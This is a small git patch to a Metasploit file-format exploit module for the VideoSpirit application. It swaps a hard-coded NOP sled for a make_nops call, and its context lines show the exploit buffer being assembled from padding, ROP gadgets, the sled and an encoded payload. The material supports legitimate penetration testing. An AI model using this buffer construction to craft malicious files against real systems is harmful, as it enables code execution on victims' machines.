From 33249bea32e952ccac99ab42974a2f3b66a67899 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 11 Apr 2011 23:32:41 +0000 Subject: [PATCH] Changed 0x90 nops to make_nops() instead git-svn-id: file:///home/svn/framework3/trunk@12305 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/windows/fileformat/videospirit_visprj.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb index 40ff6eed97..25e87a10d6 100644 --- a/modules/exploits/windows/fileformat/videospirit_visprj.rb +++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote buffer << rand_text_alphanumeric((target['OffSetToRop'])) buffer << "\x91\x70\x05\x10" * 10 #rop nop, offset Win7 buffer << rop_gadgets - buffer << "\x90" * 150 + buffer << make_nops(150) buffer << payload.encoded buffer << rand_text_alphanumeric(4000) buffer << '"'